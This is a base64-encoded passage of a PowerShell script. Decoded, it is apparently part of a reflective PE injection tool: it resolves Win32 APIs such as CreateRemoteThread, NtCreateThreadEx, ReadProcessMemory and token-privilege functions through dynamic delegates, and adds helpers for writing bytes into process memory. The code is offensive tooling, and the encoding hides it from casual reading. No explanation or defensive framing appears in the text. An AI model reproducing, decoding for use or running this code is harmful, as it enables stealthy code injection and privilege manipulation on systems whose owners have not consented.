ICAgICAkUmVhZFByb2Nlc3NNZW1vcnkgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz
Lk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkUmVhZFByb2Nlc3NNZW1v
cnlBZGRyLCAkUmVhZFByb2Nlc3NNZW1vcnlEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBB
ZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBSZWFkUHJvY2Vzc01lbW9y
eSAtVmFsdWUgJFJlYWRQcm9jZXNzTWVtb3J5CgkJCgkJJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIg
PSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIENyZWF0ZVJlbW90ZVRocmVhZAogICAgICAg
ICRDcmVhdGVSZW1vdGVUaHJlYWREZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRy
XSwgW0ludFB0cl0sIFtVSW50UHRyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0lu
dFB0cl0pIChbSW50UHRyXSkKICAgICAgICAkQ3JlYXRlUmVtb3RlVGhyZWFkID0gW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBv
aW50ZXIoJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIsICRDcmVhdGVSZW1vdGVUaHJlYWREZWxlZ2F0
ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBDcmVhdGVSZW1vdGVUaHJlYWQgLVZhbHVlICRDcmVhdGVSZW1vdGVUaHJlYWQKCQkK
CQkkR2V0RXhpdENvZGVUaHJlYWRBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBH
ZXRFeGl0Q29kZVRocmVhZAogICAgICAgICRHZXRFeGl0Q29kZVRocmVhZERlbGVnYXRlID0gR2V0
LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50MzJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29s
XSkKICAgICAgICAkR2V0RXhpdENvZGVUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl
cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkR2V0RXhpdENv
ZGVUaHJlYWRBZGRyLCAkR2V0RXhpdENvZGVUaHJlYWREZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlv
bnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRFeGl0Q29k
ZVRocmVhZCAtVmFsdWUgJEdldEV4aXRDb2RlVGhyZWFkCgkJCgkJJE9wZW5UaHJlYWRUb2tlbkFk
ZHIgPSBHZXQtUHJvY0FkZHJlc3MgQWR2YXBpMzIuZGxsIE9wZW5UaHJlYWRUb2tlbgogICAgICAg
ICRPcGVuVGhyZWFkVG9rZW5EZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwg
W1VJbnQzMl0sIFtCb29sXSwgW0ludFB0cl0uTWFrZUJ5UmVmVHlwZSgpKSAoW0Jvb2xdKQogICAg
ICAgICRPcGVuVGhyZWFkVG9rZW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1h
cnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkT3BlblRocmVhZFRva2VuQWRk
ciwgJE9wZW5UaHJlYWRUb2tlbkRlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1i
ZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE9wZW5UaHJlYWRUb2tlbiAtVmFsdWUg
JE9wZW5UaHJlYWRUb2tlbgoJCQoJCSRHZXRDdXJyZW50VGhyZWFkQWRkciA9IEdldC1Qcm9jQWRk
cmVzcyBrZXJuZWwzMi5kbGwgR2V0Q3VycmVudFRocmVhZAogICAgICAgICRHZXRDdXJyZW50VGhy
ZWFkRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoKSAoW0ludFB0cl0pCiAgICAgICAgJEdl
dEN1cnJlbnRUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd
OjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkR2V0Q3VycmVudFRocmVhZEFkZHIsICRH
ZXRDdXJyZW50VGhyZWFkRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAt
TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0Q3VycmVudFRocmVhZCAtVmFsdWUgJEdl
dEN1cnJlbnRUaHJlYWQKCQkKCQkkQWRqdXN0VG9rZW5Qcml2aWxlZ2VzQWRkciA9IEdldC1Qcm9j
QWRkcmVzcyBBZHZhcGkzMi5kbGwgQWRqdXN0VG9rZW5Qcml2aWxlZ2VzCiAgICAgICAgJEFkanVz
dFRva2VuUHJpdmlsZWdlc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBb
Qm9vbF0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdKSAoW0Jvb2xdKQog
ICAgICAgICRBZGp1c3RUb2tlblByaXZpbGVnZXMgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl
cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkQWRqdXN0VG9r
ZW5Qcml2aWxlZ2VzQWRkciwgJEFkanVzdFRva2VuUHJpdmlsZWdlc0RlbGVnYXRlKQoJCSRXaW4z
MkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEFk
anVzdFRva2VuUHJpdmlsZWdlcyAtVmFsdWUgJEFkanVzdFRva2VuUHJpdmlsZWdlcwoJCQoJCSRM
b29rdXBQcml2aWxlZ2VWYWx1ZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3MgQWR2YXBpMzIuZGxsIExv
b2t1cFByaXZpbGVnZVZhbHVlQQogICAgICAgICRMb29rdXBQcml2aWxlZ2VWYWx1ZURlbGVnYXRl
ID0gR2V0LURlbGVnYXRlVHlwZSBAKFtTdHJpbmddLCBbU3RyaW5nXSwgW0ludFB0cl0pIChbQm9v
bF0pCiAgICAgICAgJExvb2t1cFByaXZpbGVnZVZhbHVlID0gW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvb2t1
cFByaXZpbGVnZVZhbHVlQWRkciwgJExvb2t1cFByaXZpbGVnZVZhbHVlRGVsZWdhdGUpCgkJJFdp
bjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUg
TG9va3VwUHJpdmlsZWdlVmFsdWUgLVZhbHVlICRMb29rdXBQcml2aWxlZ2VWYWx1ZQoJCQoJCSRJ
bXBlcnNvbmF0ZVNlbGZBZGRyID0gR2V0LVByb2NBZGRyZXNzIEFkdmFwaTMyLmRsbCBJbXBlcnNv
bmF0ZVNlbGYKICAgICAgICAkSW1wZXJzb25hdGVTZWxmRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVU
eXBlIEAoW0ludDMyXSkgKFtCb29sXSkKICAgICAgICAkSW1wZXJzb25hdGVTZWxmID0gW1N5c3Rl
bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlv
blBvaW50ZXIoJEltcGVyc29uYXRlU2VsZkFkZHIsICRJbXBlcnNvbmF0ZVNlbGZEZWxlZ2F0ZSkK
CQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt
TmFtZSBJbXBlcnNvbmF0ZVNlbGYgLVZhbHVlICRJbXBlcnNvbmF0ZVNlbGYKCQkKCiAgICAgICAg
aWYgKChbRW52aXJvbm1lbnRdOjpPU1ZlcnNpb24uVmVyc2lvbiAtZ2UgKE5ldy1PYmplY3QgJ1Zl
cnNpb24nIDYsMCkpIC1hbmQgKFtFbnZpcm9ubWVudF06Ok9TVmVyc2lvbi5WZXJzaW9uIC1sdCAo
TmV3LU9iamVjdCAnVmVyc2lvbicgNiwyKSkpIHsKCQkgICAgJE50Q3JlYXRlVGhyZWFkRXhBZGRy
ID0gR2V0LVByb2NBZGRyZXNzIE50RGxsLmRsbCBOdENyZWF0ZVRocmVhZEV4CiAgICAgICAgICAg
ICROdENyZWF0ZVRocmVhZEV4RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0u
TWFrZUJ5UmVmVHlwZSgpLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwg
W0ludFB0cl0sIFtCb29sXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXSwgW0ludFB0cl0p
IChbVUludDMyXSkKICAgICAgICAgICAgJE50Q3JlYXRlVGhyZWFkRXggPSBbU3lzdGVtLlJ1bnRp
bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRl
cigkTnRDcmVhdGVUaHJlYWRFeEFkZHIsICROdENyZWF0ZVRocmVhZEV4RGVsZWdhdGUpCgkJICAg
ICRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1O
YW1lIE50Q3JlYXRlVGhyZWFkRXggLVZhbHVlICROdENyZWF0ZVRocmVhZEV4CiAgICAgICAgfQoJ
CQoJCSRJc1dvdzY0UHJvY2Vzc0FkZHIgPSBHZXQtUHJvY0FkZHJlc3MgS2VybmVsMzIuZGxsIElz
V293NjRQcm9jZXNzCiAgICAgICAgJElzV293NjRQcm9jZXNzRGVsZWdhdGUgPSBHZXQtRGVsZWdh
dGVUeXBlIEAoW0ludFB0cl0sIFtCb29sXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pCiAgICAg
ICAgJElzV293NjRQcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz
aGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJElzV293NjRQcm9jZXNzQWRkciwg
JElzV293NjRQcm9jZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAt
TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSXNXb3c2NFByb2Nlc3MgLVZhbHVlICRJc1dv
dzY0UHJvY2VzcwoJCQoJCSRDcmVhdGVUaHJlYWRBZGRyID0gR2V0LVByb2NBZGRyZXNzIEtlcm5l
bDMyLmRsbCBDcmVhdGVUaHJlYWQKICAgICAgICAkQ3JlYXRlVGhyZWFkRGVsZWdhdGUgPSBHZXQt
RGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtV
SW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbSW50UHRyXSkKICAgICAgICAkQ3Jl
YXRlVGhyZWFkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0
RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJENyZWF0ZVRocmVhZEFkZHIsICRDcmVhdGVUaHJl
YWREZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5v
dGVQcm9wZXJ0eSAtTmFtZSBDcmVhdGVUaHJlYWQgLVZhbHVlICRDcmVhdGVUaHJlYWQKCQoJCSRM
b2NhbEZyZWVBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsRnJlZQoJ
CSRMb2NhbEZyZWVEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSkKCQkkTG9j
YWxGcmVlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVs
ZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvY2FsRnJlZUFkZHIsICRMb2NhbEZyZWVEZWxlZ2F0
ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBMb2Nh
bEZyZWUgLVZhbHVlICRMb2NhbEZyZWUKCgkJcmV0dXJuICRXaW4zMkZ1bmN0aW9ucwoJfQoKCgkJ
CQoKCgoKCgoJRnVuY3Rpb24gU3ViLVNpZ25lZEludEFzVW5zaWduZWQKCXsKCQlQYXJhbSgKCQlb
UGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkk
VmFsdWUxLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSld
CgkJW0ludDY0XQoJCSRWYWx1ZTIKCQkpCgkJCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0
Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkKCQlbQnl0ZVtdXSRWYWx1ZTJCeXRlcyA9IFtC
aXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUyKQoJCVtCeXRlW11dJEZpbmFsQnl0ZXMgPSBb
Qml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoW1VJbnQ2NF0wKQoKCQlpZiAoJFZhbHVlMUJ5dGVzLkNv
dW50IC1lcSAkVmFsdWUyQnl0ZXMuQ291bnQpCgkJewoJCQkkQ2FycnlPdmVyID0gMAoJCQlmb3Ig
KCRpID0gMDsgJGkgLWx0ICRWYWx1ZTFCeXRlcy5Db3VudDsgJGkrKykKCQkJewoJCQkJJFZhbCA9
ICRWYWx1ZTFCeXRlc1skaV0gLSAkQ2FycnlPdmVyCgoJCQkJaWYgKCRWYWwgLWx0ICRWYWx1ZTJC
eXRlc1skaV0pCgkJCQl7CgkJCQkJJFZhbCArPSAyNTYKCQkJCQkkQ2FycnlPdmVyID0gMQoJCQkJ
fQoJCQkJZWxzZQoJCQkJewoJCQkJCSRDYXJyeU92ZXIgPSAwCgkJCQl9CgkJCQkKCQkJCQoJCQkJ
W1VJbnQxNl0kU3VtID0gJFZhbCAtICRWYWx1ZTJCeXRlc1skaV0KCgkJCQkkRmluYWxCeXRlc1sk
aV0gPSAkU3VtIC1iYW5kIDB4MDBGRgoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCVRocm93ICJDYW5u
b3Qgc3VidHJhY3QgYnl0ZWFycmF5cyBvZiBkaWZmZXJlbnQgc2l6ZXMiCgkJfQoJCQoJCXJldHVy
biBbQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkRmluYWxCeXRlcywgMCkKCX0KCQoKCUZ1bmN0aW9u
IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlv
biA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50NjRdCgkJJFZhbHVlMSwKCQkKCQlbUGFy
YW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkVmFs
dWUyCgkJKQoJCQoJCVtCeXRlW11dJFZhbHVlMUJ5dGVzID0gW0JpdENvbnZlcnRlcl06OkdldEJ5
dGVzKCRWYWx1ZTEpCgkJW0J5dGVbXV0kVmFsdWUyQnl0ZXMgPSBbQml0Q29udmVydGVyXTo6R2V0
Qnl0ZXMoJFZhbHVlMikKCQlbQnl0ZVtdXSRGaW5hbEJ5dGVzID0gW0JpdENvbnZlcnRlcl06Okdl
dEJ5dGVzKFtVSW50NjRdMCkKCgkJaWYgKCRWYWx1ZTFCeXRlcy5Db3VudCAtZXEgJFZhbHVlMkJ5
dGVzLkNvdW50KQoJCXsKCQkJJENhcnJ5T3ZlciA9IDAKCQkJZm9yICgkaSA9IDA7ICRpIC1sdCAk
VmFsdWUxQnl0ZXMuQ291bnQ7ICRpKyspCgkJCXsKCgkJCQlbVUludDE2XSRTdW0gPSAkVmFsdWUx
Qnl0ZXNbJGldICsgJFZhbHVlMkJ5dGVzWyRpXSArICRDYXJyeU92ZXIKCgkJCQkkRmluYWxCeXRl
c1skaV0gPSAkU3VtIC1iYW5kIDB4MDBGRgoJCQkJCgkJCQlpZiAoKCRTdW0gLWJhbmQgMHhGRjAw
KSAtZXEgMHgxMDApCgkJCQl7CgkJCQkJJENhcnJ5T3ZlciA9IDEKCQkJCX0KCQkJCWVsc2UKCQkJ
CXsKCQkJCQkkQ2FycnlPdmVyID0gMAoJCQkJfQoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCVRocm93
ICJDYW5ub3QgYWRkIGJ5dGVhcnJheXMgb2YgZGlmZmVyZW50IHNpemVzIgoJCX0KCQkKCQlyZXR1
cm4gW0JpdENvbnZlcnRlcl06OlRvSW50NjQoJEZpbmFsQnl0ZXMsIDApCgl9CgkKCglGdW5jdGlv
biBDb21wYXJlLVZhbDFHcmVhdGVyVGhhblZhbDJBc1VJbnQKCXsKCQlQYXJhbSgKCQlbUGFyYW1l
dGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkVmFsdWUx
LAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0lu
dDY0XQoJCSRWYWx1ZTIKCQkpCgkJCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0Q29udmVy
dGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkKCQlbQnl0ZVtdXSRWYWx1ZTJCeXRlcyA9IFtCaXRDb252
ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUyKQoKCQlpZiAoJFZhbHVlMUJ5dGVzLkNvdW50IC1lcSAk
VmFsdWUyQnl0ZXMuQ291bnQpCgkJewoJCQlmb3IgKCRpID0gJFZhbHVlMUJ5dGVzLkNvdW50LTE7
ICRpIC1nZSAwOyAkaS0tKQoJCQl7CgkJCQlpZiAoJFZhbHVlMUJ5dGVzWyRpXSAtZ3QgJFZhbHVl
MkJ5dGVzWyRpXSkKCQkJCXsKCQkJCQlyZXR1cm4gJHRydWUKCQkJCX0KCQkJCWVsc2VpZiAoJFZh
bHVlMUJ5dGVzWyRpXSAtbHQgJFZhbHVlMkJ5dGVzWyRpXSkKCQkJCXsKCQkJCQlyZXR1cm4gJGZh
bHNlCgkJCQl9CgkJCX0KCQl9CgkJZWxzZQoJCXsKCQkJVGhyb3cgIkNhbm5vdCBjb21wYXJlIGJ5
dGUgYXJyYXlzIG9mIGRpZmZlcmVudCBzaXplIgoJCX0KCQkKCQlyZXR1cm4gJGZhbHNlCgl9CgkK
CglGdW5jdGlvbiBDb252ZXJ0LVVJbnRUb0ludAoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9z
aXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1VJbnQ2NF0KCQkkVmFsdWUKCQkpCgkJ
CgkJW0J5dGVbXV0kVmFsdWVCeXRlcyA9IFtCaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUp
CgkJcmV0dXJuIChbQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkVmFsdWVCeXRlcywgMCkpCgl9CgkK
CQoJRnVuY3Rpb24gVGVzdC1NZW1vcnlSYW5nZVZhbGlkCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRl
cihQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSREZWJ1Z1N0
cmluZywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJ
CVtTeXN0ZW0uT2JqZWN0XQoJCSRQRUluZm8sCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIs
IE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRTdGFydEFkZHJlc3MsCgkJCgkJW1Bh
cmFtZXRlcihQYXJhbWV0ZXJTZXROYW1lID0gIlNpemUiLCBQb3NpdGlvbiA9IDMsIE1hbmRhdG9y
eSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRTaXplCgkJKQoJCQoJICAgIFtJbnRQdHJdJEZpbmFs
RW5kQWRkcmVzcyA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkU3RhcnRBZGRy
ZXNzKSAoJFNpemUpKQoJCQoJCSRQRUVuZEFkZHJlc3MgPSAkUEVJbmZvLkVuZEFkZHJlc3MKCQkK
CQlpZiAoKENvbXBhcmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJFBFSW5mby5QRUhhbmRs
ZSkgKCRTdGFydEFkZHJlc3MpKSAtZXEgJHRydWUpCgkJewoJCQlUaHJvdyAiVHJ5aW5nIHRvIHdy
aXRlIHRvIG1lbW9yeSBzbWFsbGVyIHRoYW4gYWxsb2NhdGVkIGFkZHJlc3MgcmFuZ2UuICREZWJ1
Z1N0cmluZyIKCQl9CgkJaWYgKChDb21wYXJlLVZhbDFHcmVhdGVyVGhhblZhbDJBc1VJbnQgKCRG
aW5hbEVuZEFkZHJlc3MpICgkUEVFbmRBZGRyZXNzKSkgLWVxICR0cnVlKQoJCXsKCQkJVGhyb3cg
IlRyeWluZyB0byB3cml0ZSB0byBtZW1vcnkgZ3JlYXRlciB0aGFuIGFsbG9jYXRlZCBhZGRyZXNz
IHJhbmdlLiAkRGVidWdTdHJpbmciCgkJfQoJfQoJCgkKCUZ1bmN0aW9uIFdyaXRlLUJ5dGVzVG9N
ZW1vcnkKCXsKCQlQYXJhbSgKCQkJW1BhcmFtZXRlcihQb3NpdGlvbj0wLCBNYW5kYXRvcnkgPSAk
dHJ1ZSldCgkJCVtCeXRlW11dCgkJCSRCeXRlcywKCQkJCgkJCVtQYXJhbWV0ZXIoUG9zaXRpb249
MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCQlbSW50UHRyXQoJCQkkTWVtb3J5QWRkcmVzcwoJCSkK
CQoJCWZvciAoJE9mZnNldCA9IDA7ICRPZmZzZXQgLWx0ICRCeXRlcy5MZW5ndGg7ICRPZmZzZXQr
KykKCQl7CgkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OldyaXRl
Qnl0ZSgkTWVtb3J5QWRkcmVzcywgJE9mZnNldCwgJEJ5dGVzWyRPZmZzZXRdKQoJCX0KCX0KCQoK
CglGdW5jdGlvbiBHZXQtRGVsZWdhdGVUeXBlCgl7CgkgICAgUGFyYW0KCSAgICAoCgkgICAgICAg
IFtPdXRwdXRUeXBlKFtUeXBlXSldCgkgICAgICAgIAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3Np
dGlvbiA9IDApXQoJICAgICAgICBbVHlwZVtdXQoJICAgICAgICAkUGFyYW1ldGVycyA9IChOZXct
T2JqZWN0IFR5cGVbXSgwKSksCgkgICAgICAgIAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlv
biA9IDEgKV0KCSAgICAgICAgW1R5cGVdCgkgICAgICAgICRSZXR1cm5UeXBlID0gW1ZvaWRdCgkg
ICAgKQoKCSAgICAkRG9tYWluID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4KCSAgICAkRHlu
QXNzZW1ibHkgPSBOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVm
bGVjdGVkRGVsZWdhdGUnKQoJICAgICRBc3NlbWJseUJ1aWxkZXIgPSAkRG9tYWluLkRlZmluZUR5
bmFtaWNBc3NlbWJseSgkRHluQXNzZW1ibHksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2Vt
Ymx5QnVpbGRlckFjY2Vzc106OlJ1bikKCSAgICAkTW9kdWxlQnVpbGRlciA9ICRBc3NlbWJseUJ1
aWxkZXIuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpCgkgICAg
JFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgnTXlEZWxlZ2F0ZVR5cGUn
LCAnQ2xhc3MsIFB1YmxpYywgU2VhbGVkLCBBbnNpQ2xhc3MsIEF1dG9DbGFzcycsIFtTeXN0ZW0u
TXVsdGljYXN0RGVsZWdhdGVdKQoJICAgICRDb25zdHJ1Y3RvckJ1aWxkZXIgPSAkVHlwZUJ1aWxk
ZXIuRGVmaW5lQ29uc3RydWN0b3IoJ1JUU3BlY2lhbE5hbWUsIEhpZGVCeVNpZywgUHVibGljJywg
W1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCAkUGFyYW1l
dGVycykKCSAgICAkQ29uc3RydWN0b3JCdWlsZGVyLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1
bnRpbWUsIE1hbmFnZWQnKQoJICAgICRNZXRob2RCdWlsZGVyID0gJFR5cGVCdWlsZGVyLkRlZmlu
ZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywg
JFJldHVyblR5cGUsICRQYXJhbWV0ZXJzKQoJICAgICRNZXRob2RCdWlsZGVyLlNldEltcGxlbWVu
dGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQoJICAgIAoJICAgIFdyaXRlLU91dHB1dCAk
VHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpCgl9CgoKCglGdW5jdGlvbiBHZXQtUHJvY0FkZHJlc3MK
CXsKCSAgICBQYXJhbQoJICAgICgKCSAgICAgICAgW091dHB1dFR5cGUoW0ludFB0cl0pXQoJICAg
IAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICRUcnVlICld
CgkgICAgICAgIFtTdHJpbmddCgkgICAgICAgICRNb2R1bGUsCgkgICAgICAgIAoJICAgICAgICBb
UGFyYW1ldGVyKCBQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICRUcnVlICldCgkgICAgICAgIFtT
dHJpbmddCgkgICAgICAgICRQcm9jZWR1cmUKCSAgICApCgoKCSAgICAkU3lzdGVtQXNzZW1ibHkg
PSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfAoJICAgICAgICBX
aGVyZS1PYmplY3QgeyAkXy5HbG9iYWxBc3NlbWJseUNhY2hlIC1BbmQgJF8uTG9jYXRpb24uU3Bs
aXQoJ1xcJylbLTFdLkVxdWFscygnU3lzdGVtLmRsbCcpIH0KCSAgICAkVW5zYWZlTmF0aXZlTWV0
aG9kcyA9ICRTeXN0ZW1Bc3NlbWJseS5HZXRUeXBlKCdNaWNyb3NvZnQuV2luMzIuVW5zYWZlTmF0
aXZlTWV0aG9kcycpCgoJICAgICRHZXRNb2R1bGVIYW5kbGUgPSAkVW5zYWZlTmF0aXZlTWV0aG9k
cy5HZXRNZXRob2QoJ0dldE1vZHVsZUhhbmRsZScpCgkgICAgJEdldFByb2NBZGRyZXNzID0gJFVu
c2FmZU5hdGl2ZU1ldGhvZHMuR2V0TWV0aG9kKCdHZXRQcm9jQWRkcmVzcycpCgoJICAgICRLZXJu
MzJIYW5kbGUgPSAkR2V0TW9kdWxlSGFuZGxlLkludm9rZSgkbnVsbCwgQCgkTW9kdWxlKSkKCSAg
ICAkdG1wUHRyID0gTmV3LU9iamVjdCBJbnRQdHIKCSAgICAkSGFuZGxlUmVmID0gTmV3LU9iamVj
dCBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuSGFuZGxlUmVmKCR0bXBQdHIsICRLZXJu
MzJIYW5kbGUpCgoKCSAgICBXcml0ZS1PdXRwdXQgJEdldFByb2NBZGRyZXNzLkludm9rZSgkbnVs
bCwgQChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZl0kSGFuZGxlUmVm
